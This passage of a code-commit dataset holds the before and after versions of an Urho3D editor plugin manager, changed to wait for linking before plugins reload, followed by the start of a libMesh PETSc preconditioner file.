pluginPath);\n\n    if (plugin->type_ == PLUGIN_NATIVE)\n    {\n        if (cr_plugin_load(plugin->nativeContext_, pluginPath.CString()))\n        {\n            plugin->nativeContext_.userdata = context_;\n            plugin->name_ = name;\n            plugin->path_ = pluginPath;\n            plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(pluginPath);\n            plugins_.Push(plugin);\n            return plugin.Get();\n        }\n        else\n            URHO3D_LOGWARNINGF(\"Failed loading native plugin \\\"%s\\\".\", name.CString());\n    }\n#if URHO3D_CSHARP\n    else if (plugin->type_ == PLUGIN_MANAGED)\n    {\n        if (GetSubsystem<Script>()->LoadAssembly(pluginPath))\n        {\n            plugin->name_ = name;\n            plugin->path_ = pluginPath;\n            plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(pluginPath);\n            plugins_.Push(plugin);\n            return plugin.Get();\n        }\n    }\n#endif\n#endif\n    return nullptr;\n}\n\nvoid PluginManager::Unload(Plugin* plugin)\n{\n    if (plugin == nullptr)\n        return;\n\n    auto it = plugins_.Find(SharedPtr<Plugin>(plugin));\n    if (it == plugins_.End())\n    {\n        URHO3D_LOGERRORF(\"Plugin %s was never loaded.\", plugin->name_.CString());\n        return;\n    }\n\n    plugin->unloading_ = true;\n}\n\nvoid PluginManager::OnEndFrame()\n{\n#if URHO3D_PLUGINS\n#if URHO3D_CSHARP\n    Script* script = GetSubsystem<Script>();\n    \/\/ C# plugin auto-reloading.\n    bool reloadManagedRuntime = false;\n    for (auto it = plugins_.Begin(); it != plugins_.End() && !reloadManagedRuntime; it++)\n    {\n        Plugin* plugin = it->Get();\n        reloadManagedRuntime = plugin->type_ == PLUGIN_MANAGED &&\n                               plugin->mtime_ < GetFileSystem()->GetLastModifiedTime(plugin->path_);\n    }\n\n    if (reloadManagedRuntime)\n    {\n        script->UnloadRuntime();\n        script->LoadRuntime();\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->type_ == PLUGIN_MANAGED)\n            {\n                plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(plugin->path_);\n                script->LoadAssembly(plugin->path_);\n            }\n        }\n        URHO3D_LOGINFO(\"Managed plugins were reloaded.\");\n    }\n#endif\n\n    bool eventSent = false;\n    for (auto it = plugins_.Begin(); it != plugins_.End();)\n    {\n        Plugin* plugin = it->Get();\n\n        if (plugin->unloading_)\n        {\n            if (!eventSent)\n            {\n                SendEvent(E_EDITORUSERCODERELOADSTART);\n                eventSent = true;\n            }\n            \/\/ Actual unload\n            plugin->Unload();\n#if URHO3D_CSHARP\n            if (plugin->type_ == PLUGIN_MANAGED)\n            {\n                \/\/ Now load back all managed plugins except this one.\n                for (auto& plug : plugins_)\n                {\n                    if (plug == plugin || plug->type_ == PLUGIN_NATIVE)\n                        continue;\n                    script->LoadAssembly(plug->path_);\n                }\n            }\n#endif\n            URHO3D_LOGINFOF(\"Plugin %s was unloaded.\", plugin->name_.CString());\n            it = plugins_.Erase(it);\n        }\n        else if (plugin->type_ == PLUGIN_NATIVE && plugin->nativeContext_.userdata)\n        {\n            bool reloading = cr_plugin_changed(plugin->nativeContext_);\n            if (reloading)\n            {\n                if (!eventSent)\n                {\n                    SendEvent(E_EDITORUSERCODERELOADSTART);\n                    eventSent = true;\n                }\n            }\n\n            if (cr_plugin_update(plugin->nativeContext_) != 0)\n            {\n                URHO3D_LOGERRORF(\"Processing plugin \\\"%s\\\" failed and it was unloaded.\",\n                    GetFileNameAndExtension(plugin->name_).CString());\n                cr_plugin_close(plugin->nativeContext_);\n                plugin->nativeContext_.userdata = nullptr;\n            }\n            else if (reloading && plugin->nativeContext_.userdata != nullptr)\n            {\n                URHO3D_LOGINFOF(\"Loaded plugin \\\"%s\\\" version %d.\", GetFileNameAndExtension(plugin->name_).CString(),\n                    plugin->nativeContext_.version);\n            }\n\n            it++;\n        }\n        else\n            it++;\n    }\n\n    if (eventSent)\n        SendEvent(E_EDITORUSERCODERELOADEND);\n#endif\n}\n\nvoid PluginManager::CleanUp(String directory)\n{\n#if URHO3D_PLUGINS\n    if (directory.Empty())\n        directory = GetFileSystem()->GetProgramDir();\n\n    if (!GetFileSystem()->DirExists(directory))\n        return;\n\n    StringVector files;\n    GetFileSystem()->ScanDir(files, directory, \"*.*\", SCAN_FILES, false);\n\n    for (const String& fileName : files)\n    {\n        String filePath = directory + fileName;\n        String baseName = GetFileName(fileName);\n        if (IsDigit(static_cast<unsigned int>(baseName.Back())) && GetPluginType(context_, filePath) != PLUGIN_INVALID)\n        {\n            GetFileSystem()->Delete(filePath);\n            if (filePath.EndsWith(\".dll\"))\n                GetFileSystem()->Delete(ReplaceExtension(filePath, \".pdb\"));\n        }\n    }\n#endif\n}\n\nPlugin* PluginManager::GetPlugin(const String& name)\n{\n    for (auto it = plugins_.Begin(); it != plugins_.End(); it++)\n    {\n        if (it->Get()->name_ == name)\n            return it->Get();\n    }\n    return nullptr;\n}\n\nString PluginManager::NameToPath(const String& name) const\n{\n    FileSystem* fs = GetFileSystem();\n    String result;\n\n#if __linux__ || __APPLE__\n    result = ToString(\"%slib%s%s\", fs->GetProgramDir().CString(), name.CString(), platformDynamicLibrarySuffix);\n    if (fs->FileExists(result))\n        return result;\n#endif\n\n#if !_WIN32\n    result = ToString(\"%s%s%s\", fs->GetProgramDir().CString(), name.CString(), \".dll\");\n    if (fs->FileExists(result))\n        return result;\n#endif\n\n    result = ToString(\"%s%s%s\", fs->GetProgramDir().CString(), name.CString(), platformDynamicLibrarySuffix);\n    if (fs->FileExists(result))\n        return result;\n\n    return String::EMPTY;\n}\n\nString PluginManager::PathToName(const String& path)\n{\n#if !_WIN32\n    if (path.EndsWith(platformDynamicLibrarySuffix))\n    {\n        String name = GetFileName(path);\n#if __linux__ || __APPLE__\n        if (name.StartsWith(\"lib\"))\n            name = name.Substring(3);\n#endif\n        return name;\n    }\n    else\n#endif\n    if (path.EndsWith(\".dll\"))\n        return GetFileName(path);\n    return String::EMPTY;\n}\n\nPluginManager::~PluginManager()\n{\n    for (auto& plugin : plugins_)\n    {\n        if (plugin->type_ == PLUGIN_NATIVE)\n            \/\/ Native plugins can be unloaded one by one.\n            plugin->Unload();\n    }\n\n#if URHO3D_CSHARP\n    \/\/ Managed plugins can not be unloaded one at a time. Entire plugin AppDomain must be dropped.\n    GetSubsystem<Script>()->UnloadRuntime();\n#endif\n}\n\nconst StringVector& GetPluginNames(Context* context)\n{\n#if URHO3D_PLUGINS\n    StringVector* pluginNames = ui::GetUIState<StringVector>();\n\n    if (pluginNames->Empty())\n    {\n        FileSystem* fs = context->GetFileSystem();\n\n        StringVector files;\n        HashMap<String, String> nameToPath;\n        fs->ScanDir(files, fs->GetProgramDir(), \"*.*\", SCAN_FILES, false);\n        \/\/ Remove definitely not plugins.\n        for (auto it = files.Begin(); it != files.End(); ++it)\n        {\n            String baseName = PluginManager::PathToName(*it);\n            \/\/ Native plugins will rename main file and append version after base name.\n            if (baseName.Empty() || IsDigit(static_cast<unsigned int>(baseName.Back())))\n                continue;\n\n            String fullPath = fs->GetProgramDir() + \"\/\" + *it;\n            if (GetPluginType(context, fullPath) == PLUGIN_INVALID)\n                continue;\n\n            pluginNames->Push(baseName);\n        }\n    }\n#endif\n    return *pluginNames;\n}\n\n}\n\n#endif\n<commit_msg>Plugins: Wait until build is done before loading plugins.<commit_after>\/\/\n\/\/ Copyright (c) 2018 Rokas Kupstys\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#if URHO3D_PLUGINS\n\n#define CR_HOST CR_DISABLE\n\n#include <Urho3D\/Core\/CoreEvents.h>\n#include <Urho3D\/Core\/Thread.h>\n#include <Urho3D\/Engine\/PluginApplication.h>\n#include <Urho3D\/IO\/File.h>\n#include <Urho3D\/IO\/FileSystem.h>\n#include <Urho3D\/IO\/Log.h>\n#include <Urho3D\/Script\/Script.h>\n#include <Toolbox\/SystemUI\/Widgets.h>\n#include \"EditorEvents.h\"\n#include \"Editor.h\"\n#include \"Plugins\/PluginManager.h\"\n#include \"PluginManager.h\"\n\n\nnamespace Urho3D\n{\n\nURHO3D_EVENT(E_ENDFRAMEPRIVATE, EndFramePrivate)\n{\n}\n\n#if __linux__\nstatic const char* platformDynamicLibrarySuffix = \".so\";\n#elif _WIN32\nstatic const char* platformDynamicLibrarySuffix = \".dll\";\n#elif __APPLE__\nstatic const char* platformDynamicLibrarySuffix = \".dylib\";\n#else\n#   error Unsupported platform.\n#endif\n\n#if URHO3D_CSHARP && URHO3D_PLUGINS\nextern \"C\" URHO3D_EXPORT_API void ParseArgumentsC(int argc, char** argv) { ParseArguments(argc, argv); }\nextern \"C\" URHO3D_EXPORT_API Application* CreateEditorApplication(Context* context) { return new Editor(context); }\n#endif\n\nPlugin::Plugin(Context* context)\n    : Object(context)\n{\n}\n\nbool Plugin::Unload()\n{\n#if URHO3D_PLUGINS\n    if (type_ == PLUGIN_NATIVE)\n    {\n        cr_plugin_close(nativeContext_);\n        nativeContext_.userdata = nullptr;\n        return true;\n    }\n#if URHO3D_CSHARP\n    else if (type_ == PLUGIN_MANAGED)\n    {\n        Script* script = GetSubsystem<Script>();\n        script->UnloadRuntime();        \/\/ Destroy plugin AppDomain.\n        script->LoadRuntime();          \/\/ Create new empty plugin AppDomain. Caller is responsible for plugin reinitialization.\n        return true;\n    }\n#endif\n#endif\n    return false;\n}\n\nPluginManager::PluginManager(Context* context)\n    : Object(context)\n{\n#if URHO3D_PLUGINS\n    CleanUp();\n    SubscribeToEvent(E_ENDFRAMEPRIVATE, [this](StringHash, VariantMap&) { OnEndFrame(); });\n    SubscribeToEvent(E_SIMULATIONSTART, [this](StringHash, VariantMap&) {\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->nativeContext_.userdata != nullptr && plugin->nativeContext_.userdata != context_)\n                reinterpret_cast<PluginApplication*>(plugin->nativeContext_.userdata)->Start();\n        }\n    });\n    SubscribeToEvent(E_SIMULATIONSTOP, [this](StringHash, VariantMap&) {\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->nativeContext_.userdata != nullptr && plugin->nativeContext_.userdata != context_)\n                reinterpret_cast<PluginApplication*>(plugin->nativeContext_.userdata)->Stop();\n        }\n    });\n#if URHO3D_CSHARP\n    \/\/ Initialize AppDomain for managed plugins.\n    GetSubsystem<Script>()->LoadRuntime();\n#endif\n#endif\n}\n\nPlugin* PluginManager::Load(const String& name)\n{\n#if URHO3D_PLUGINS\n    if (Plugin* loaded = GetPlugin(name))\n        return loaded;\n\n    String pluginPath = NameToPath(name);\n    if (pluginPath.Empty())\n        return nullptr;\n\n    SharedPtr<Plugin> plugin(new Plugin(context_));\n    plugin->type_ = GetPluginType(context_, pluginPath);\n\n    if (plugin->type_ == PLUGIN_NATIVE)\n    {\n        if (cr_plugin_load(plugin->nativeContext_, pluginPath.CString()))\n        {\n            plugin->nativeContext_.userdata = context_;\n            plugin->name_ = name;\n            plugin->path_ = pluginPath;\n            plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(pluginPath);\n            plugins_.Push(plugin);\n            return plugin.Get();\n        }\n        else\n            URHO3D_LOGWARNINGF(\"Failed loading native plugin \\\"%s\\\".\", name.CString());\n    }\n#if URHO3D_CSHARP\n    else if (plugin->type_ == PLUGIN_MANAGED)\n    {\n        if (GetSubsystem<Script>()->LoadAssembly(pluginPath))\n        {\n            plugin->name_ = name;\n            plugin->path_ = pluginPath;\n            plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(pluginPath);\n            plugins_.Push(plugin);\n            return plugin.Get();\n        }\n    }\n#endif\n#endif\n    return nullptr;\n}\n\nvoid PluginManager::Unload(Plugin* plugin)\n{\n    if (plugin == nullptr)\n        return;\n\n    auto it = plugins_.Find(SharedPtr<Plugin>(plugin));\n    if (it == plugins_.End())\n    {\n        URHO3D_LOGERRORF(\"Plugin %s was never loaded.\", plugin->name_.CString());\n        return;\n    }\n\n    plugin->unloading_ = true;\n}\n\nvoid PluginManager::OnEndFrame()\n{\n#if URHO3D_PLUGINS\n    \/\/ TODO: Timeout probably should be configured, larger projects will have a pretty long linking time.\n    const unsigned pluginLinkingTimeout = 10000;\n    Timer wait;\n#if URHO3D_CSHARP\n    Script* script = GetSubsystem<Script>();\n    \/\/ C# plugin auto-reloading.\n    PODVector<Plugin*> reloadingPlugins;\n    for (auto it = plugins_.Begin(); it != plugins_.End(); it++)\n    {\n        Plugin* plugin = it->Get();\n        if (plugin->type_ == PLUGIN_MANAGED && plugin->mtime_ < GetFileSystem()->GetLastModifiedTime(plugin->path_))\n            reloadingPlugins.Push(plugin);\n    }\n\n    if (!reloadingPlugins.Empty())\n    {\n        script->UnloadRuntime();\n        script->LoadRuntime();\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->type_ == PLUGIN_MANAGED)\n            {\n                if (reloadingPlugins.Contains(plugin.Get()))\n                {\n                    \/\/ This plugin was modified and triggered a reload. Good idea before loading it would be waiting for\n                    \/\/ build to be done (should it still be in progress).\n                    while (GetPluginType(context_, plugin->path_) != plugin->type_ && wait.GetMSec(false) < pluginLinkingTimeout)\n                        Time::Sleep(0);\n                }\n                plugin->mtime_ = GetFileSystem()->GetLastModifiedTime(plugin->path_);\n                script->LoadAssembly(plugin->path_);\n            }\n        }\n        URHO3D_LOGINFO(\"Managed plugins were reloaded.\");\n    }\n#endif\n\n    bool eventSent = false;\n    for (auto it = plugins_.Begin(); it != plugins_.End();)\n    {\n        Plugin* plugin = it->Get();\n\n        if (plugin->unloading_)\n        {\n            if (!eventSent)\n            {\n                SendEvent(E_EDITORUSERCODERELOADSTART);\n                eventSent = true;\n            }\n            \/\/ Actual unload\n            plugin->Unload();\n#if URHO3D_CSHARP\n            if (plugin->type_ == PLUGIN_MANAGED)\n            {\n                \/\/ Now load back all managed plugins except this one.\n                for (auto& plug : plugins_)\n                {\n                    if (plug == plugin || plug->type_ == PLUGIN_NATIVE)\n                        continue;\n                    script->LoadAssembly(plug->path_);\n                }\n            }\n#endif\n            URHO3D_LOGINFOF(\"Plugin %s was unloaded.\", plugin->name_.CString());\n            it = plugins_.Erase(it);\n        }\n        else if (plugin->type_ == PLUGIN_NATIVE && plugin->nativeContext_.userdata)\n        {\n            bool reloading = cr_plugin_changed(plugin->nativeContext_);\n            if (reloading)\n            {\n                if (!eventSent)\n                {\n                    SendEvent(E_EDITORUSERCODERELOADSTART);\n                    eventSent = true;\n                }\n\n                \/\/ Plugin change is detected the moment compiler starts linking file. We should wait until linker is done.\n                while (GetPluginType(context_, plugin->path_) != plugin->type_ && wait.GetMSec(false) < pluginLinkingTimeout)\n                    Time::Sleep(0);\n            }\n\n            if (cr_plugin_update(plugin->nativeContext_) != 0)\n            {\n                URHO3D_LOGERRORF(\"Processing plugin \\\"%s\\\" failed and it was unloaded.\",\n                    GetFileNameAndExtension(plugin->name_).CString());\n                cr_plugin_close(plugin->nativeContext_);\n                plugin->nativeContext_.userdata = nullptr;\n            }\n            else if (reloading && plugin->nativeContext_.userdata != nullptr)\n            {\n                URHO3D_LOGINFOF(\"Loaded plugin \\\"%s\\\" version %d.\", GetFileNameAndExtension(plugin->name_).CString(),\n                    plugin->nativeContext_.version);\n            }\n\n            it++;\n        }\n        else\n            it++;\n    }\n\n    if (eventSent)\n        SendEvent(E_EDITORUSERCODERELOADEND);\n#endif\n}\n\nvoid PluginManager::CleanUp(String directory)\n{\n#if URHO3D_PLUGINS\n    if (directory.Empty())\n        directory = GetFileSystem()->GetProgramDir();\n\n    if (!GetFileSystem()->DirExists(directory))\n        return;\n\n    StringVector files;\n    GetFileSystem()->ScanDir(files, directory, \"*.*\", SCAN_FILES, false);\n\n    for (const String& fileName : files)\n    {\n        String filePath = directory + fileName;\n        String baseName = GetFileName(fileName);\n        if (IsDigit(static_cast<unsigned int>(baseName.Back())) && GetPluginType(context_, filePath) != PLUGIN_INVALID)\n        {\n            GetFileSystem()->Delete(filePath);\n            if (filePath.EndsWith(\".dll\"))\n                GetFileSystem()->Delete(ReplaceExtension(filePath, \".pdb\"));\n        }\n    }\n#endif\n}\n\nPlugin* PluginManager::GetPlugin(const String& name)\n{\n    for (auto it = plugins_.Begin(); it != plugins_.End(); it++)\n    {\n        if (it->Get()->name_ == name)\n            return it->Get();\n    }\n    return nullptr;\n}\n\nString PluginManager::NameToPath(const String& name) const\n{\n    FileSystem* fs = GetFileSystem();\n    String result;\n\n#if __linux__ || __APPLE__\n    result = ToString(\"%slib%s%s\", fs->GetProgramDir().CString(), name.CString(), platformDynamicLibrarySuffix);\n    if (fs->FileExists(result))\n        return result;\n#endif\n\n#if !_WIN32\n    result = ToString(\"%s%s%s\", fs->GetProgramDir().CString(), name.CString(), \".dll\");\n    if (fs->FileExists(result))\n        return result;\n#endif\n\n    result = ToString(\"%s%s%s\", fs->GetProgramDir().CString(), name.CString(), platformDynamicLibrarySuffix);\n    if (fs->FileExists(result))\n        return result;\n\n    return String::EMPTY;\n}\n\nString PluginManager::PathToName(const String& path)\n{\n#if !_WIN32\n    if (path.EndsWith(platformDynamicLibrarySuffix))\n    {\n        String name = GetFileName(path);\n#if __linux__ || __APPLE__\n        if (name.StartsWith(\"lib\"))\n            name = name.Substring(3);\n#endif\n        return name;\n    }\n    else\n#endif\n    if (path.EndsWith(\".dll\"))\n        return GetFileName(path);\n    return String::EMPTY;\n}\n\nPluginManager::~PluginManager()\n{\n    for (auto& plugin : plugins_)\n    {\n        if (plugin->type_ == PLUGIN_NATIVE)\n            \/\/ Native plugins can be unloaded one by one.\n            plugin->Unload();\n    }\n\n#if URHO3D_CSHARP\n    \/\/ Managed plugins can not be unloaded one at a time. Entire plugin AppDomain must be dropped.\n    GetSubsystem<Script>()->UnloadRuntime();\n#endif\n}\n\nconst StringVector& GetPluginNames(Context* context)\n{\n#if URHO3D_PLUGINS\n    StringVector* pluginNames = ui::GetUIState<StringVector>();\n\n    if (pluginNames->Empty())\n    {\n        FileSystem* fs = context->GetFileSystem();\n\n        StringVector files;\n        HashMap<String, String> nameToPath;\n        fs->ScanDir(files, fs->GetProgramDir(), \"*.*\", SCAN_FILES, false);\n        \/\/ Remove definitely not plugins.\n        for (auto it = files.Begin(); it != files.End(); ++it)\n        {\n            String baseName = PluginManager::PathToName(*it);\n            \/\/ Native plugins will rename main file and append version after base name.\n            if (baseName.Empty() || IsDigit(static_cast<unsigned int>(baseName.Back())))\n                continue;\n\n            String fullPath = fs->GetProgramDir() + \"\/\" + *it;\n            if (GetPluginType(context, fullPath) == PLUGIN_INVALID)\n                continue;\n\n            pluginNames->Push(baseName);\n        }\n    }\n#endif\n    return *pluginNames;\n}\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2012 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n#include \"libmesh\/libmesh_common.h\"\n\n#ifdef LIBMESH_HAVE_PETSC\n\n\/\/ C++ includes\n\n\/\/ Local Includes\n#include \"libmesh\/petsc_preconditioner.h\"\n#include \"libmesh\/petsc_macro.h\"\n#include \"libmesh\/petsc_matrix.h\"\n#include \"libmesh\/petsc_vector.h\"\n#include \"libmesh\/libmesh_common.h\"\n\n\/\/ PCBJacobiGetSubKSP was defined in petscksp.h in PETSc 2.3.3, 3.1.0\n#if PETSC_VERSION_LESS_THAN(3,1,0)\n\nEXTERN_C_FOR_PETSC_BEGIN\n#include \"petscksp.h\"\nEXTERN_C_FOR_PETSC_END\n\n#endif\n\nnamespace libMesh\n{\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::apply(const NumericVector<T> & x, NumericVector<T> & y)\n{\n  PetscVector<T> & x_pvec = libmesh_cast_ref<PetscVector<T>&>(const_cast<NumericVector<T>&>(x));\n  PetscVector<T> & y_pvec = libmesh_cast_ref<PetscVector<T>&>(const_cast<NumericVector<T>&>(y));\n\n  Vec x_vec = x_pvec.vec();\n  Vec y_vec = y_pvec.vec();\n\n  int ierr = PCApply(_pc,x_vec,y_vec);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n}\n\n\n\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::init ()\n{\n  if(!this->_matrix)\n  {\n    libMesh::err << \"ERROR: No matrix set for PetscPreconditioner, but init() called\" << std::endl;\n    libmesh_error();\n  }\n\n  \/\/ Clear the preconditioner in case it has been created in the past\n  if (!this->_is_initialized)\n  {\n    \/\/ Should probably use PCReset(), but it's not working at the moment so we'll destroy instead\n    if (_pc)\n    {\n      int ierr = PCDestroy(&_pc);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n\n    int ierr = PCCreate(libMesh::COMM_WORLD,&_pc);\n    CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n    PetscMatrix<T> * pmatrix = libmesh_cast_ptr<PetscMatrix<T>*, SparseMatrix<T> >(this->_matrix);\n\n    _mat = pmatrix->mat();\n  }\n\n  int ierr = PCSetOperators(_pc,_mat,_mat,SAME_NONZERO_PATTERN);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ Set the PCType.  Note: this used to be done *before* the call to\n  \/\/ PCSetOperators(), and only when !_is_initialized, but\n  \/\/ 1.) Some preconditioners (those employing sub-preconditioners,\n  \/\/ for example) have to call PCSetUp(), and can only do this after\n  \/\/ the operators have been set.\n  \/\/ 2.) It should be safe to call set_petsc_preconditioner_type()\n  \/\/ multiple times.\n  set_petsc_preconditioner_type(this->_preconditioner_type, _pc);\n\n  this->_is_initialized = true;\n}\n\n\n\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::set_petsc_preconditioner_type (const PreconditionerType & preconditioner_type, PC & pc)\n{\n  int ierr = 0;\n\n  switch (preconditioner_type)\n  {\n  case IDENTITY_PRECOND:\n    ierr = PCSetType (pc, (char*) PCNONE);      CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case CHOLESKY_PRECOND:\n    ierr = PCSetType (pc, (char*) PCCHOLESKY);  CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case ICC_PRECOND:\n    ierr = PCSetType (pc, (char*) PCICC);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case ILU_PRECOND:\n    {\n      \/\/ In serial, just set the ILU preconditioner type\n      if (libMesh::n_processors() == 1)\n\t{\n\t  ierr = PCSetType (pc, (char*) PCILU);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\t}\n      else\n\t{\n\t  \/\/ But PETSc has no truly parallel ILU, instead you have to set\n\t  \/\/ an actual parallel preconditioner (e.g. block Jacobi) and then\n\t  \/\/ assign ILU sub-preconditioners.\n\t  ierr = PCSetType (pc, (char*) PCBJACOBI);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n\t  \/\/ Set ILU as the sub preconditioner type\n\t  set_petsc_subpreconditioner_type(PCILU, pc);\n\t}\n      break;\n    }\n\n  case LU_PRECOND:\n    {\n      \/\/ In serial, just set the LU preconditioner type\n      if (libMesh::n_processors() == 1)\n\t{\n\t  ierr = PCSetType (pc, (char*) PCLU);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\t}\n      else\n\t{\n\t  \/\/ But PETSc has no truly parallel LU, instead you have to set\n\t  \/\/ an actual parallel preconditioner (e.g. block Jacobi) and then\n\t  \/\/ assign LU sub-preconditioners.\n\t  ierr = PCSetType (pc, (char*) PCBJACOBI);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n\t  \/\/ Set ILU as the sub preconditioner type\n\t  set_petsc_subpreconditioner_type(PCLU, pc);\n\t}\n      break;\n    }\n\n  case ASM_PRECOND:\n    {\n      \/\/ In parallel, I think ASM uses ILU by default as the sub-preconditioner...\n      \/\/ I tried setting a different sub-preconditioner here, but apparently the matrix\n      \/\/ is not in the correct state (at this point) to call PCSetUp().\n      ierr = PCSetType (pc, (char*) PCASM);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n      break;\n    }\n\n  case JACOBI_PRECOND:\n    ierr = PCSetType (pc, (char*) PCJACOBI);    CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case BLOCK_JACOBI_PRECOND:\n    ierr = PCSetType (pc, (char*) PCBJACOBI);   CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case SOR_PRECOND:\n    ierr = PCSetType (pc, (char*) PCSOR);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case EISENSTAT_PRECOND:\n    ierr = PCSetType (pc, (char*) PCEISENSTAT); CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case AMG_PRECOND:\n    ierr = PCSetType (pc, (char*) PCHYPRE);     CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n#if !(PETSC_VERSION_LESS_THAN(2,1,2))\n    \/\/ Only available for PETSC >= 2.1.2\n  case USER_PRECOND:\n    ierr = PCSetType (pc, (char*) PCMAT);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n#endif\n\n  case SHELL_PRECOND:\n    ierr = PCSetType (pc, (char*) PCSHELL);     CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  default:\n    libMesh::err << \"ERROR:  Unsupported PETSC Preconditioner: \"\n                  << preconditioner_type       << std::endl\n                  << \"Continuing with PETSC defaults\" << std::endl;\n  }\n\n  \/\/ Set additional options if we are doing AMG and\n  \/\/ HYPRE is available\n#ifdef LIBMESH_HAVE_PETSC_HYPRE\n  if (preconditioner_type == AMG_PRECOND)\n    {\n      ierr = PCHYPRESetType(pc, \"boomeramg\");\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n#endif\n\n  \/\/ Let the commandline override stuff\n  \/\/ FIXME: Unless we are doing AMG???\n  if (preconditioner_type != AMG_PRECOND)\n    {\n      ierr = PCSetFromOptions(pc);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n}\n\n\n\ntemplate <typename T>\n#if PETSC_VERSION_LESS_THAN(3,0,0)\n void PetscPreconditioner<T>::set_petsc_subpreconditioner_type(PCType type, PC& pc)\n#else\n void PetscPreconditioner<T>::set_petsc_subpreconditioner_type(const PCType type, PC& pc)\n#endif\n{\n  \/\/ For catching PETSc error return codes\n  int ierr = 0;\n\n  \/\/ All docs say must call KSPSetUp or PCSetUp before calling PCBJacobiGetSubKSP.\n  \/\/ You must call PCSetUp after the preconditioner operators have been set, otherwise you get the:\n  \/\/\n  \/\/ \"Object is in wrong state!\"\n  \/\/ \"Matrix must be set first.\"\n  \/\/\n  \/\/ error messages...\n  ierr = PCSetUp(pc);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ To store array of local KSP contexts on this processor\n  KSP* subksps;\n\n  \/\/ the number of blocks on this processor\n  int n_local;\n\n  \/\/ The global number of the first block on this processor.\n  \/\/ This is not used, so we just pass PETSC_NULL instead.\n  \/\/ int first_local;\n\n  \/\/ Fill array of local KSP contexts\n  ierr = PCBJacobiGetSubKSP(pc, &n_local, PETSC_NULL, &subksps);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ Loop over sub-ksp objects, set ILU preconditioner\n  for (int i=0; i<n_local; ++i)\n    {\n      \/\/ Get pointer to sub KSP object's PC\n      PC subpc;\n      ierr = KSPGetPC(subksps[i], &subpc);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n      \/\/ Set requested type on the sub PC\n      ierr = PCSetType(subpc, type);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n\n}\n\n\n\n\n\/\/------------------------------------------------------------------\n\/\/ Explicit instantiations\ntemplate class PetscPreconditioner<Number>;\n\n} \/\/ namespace libMesh\n\n#endif \/\/ #ifdef LIBMESH_HAVE_PETSC\n<commit_msg>fix for PETSc 3.1 and older<commit_after>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2012 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ 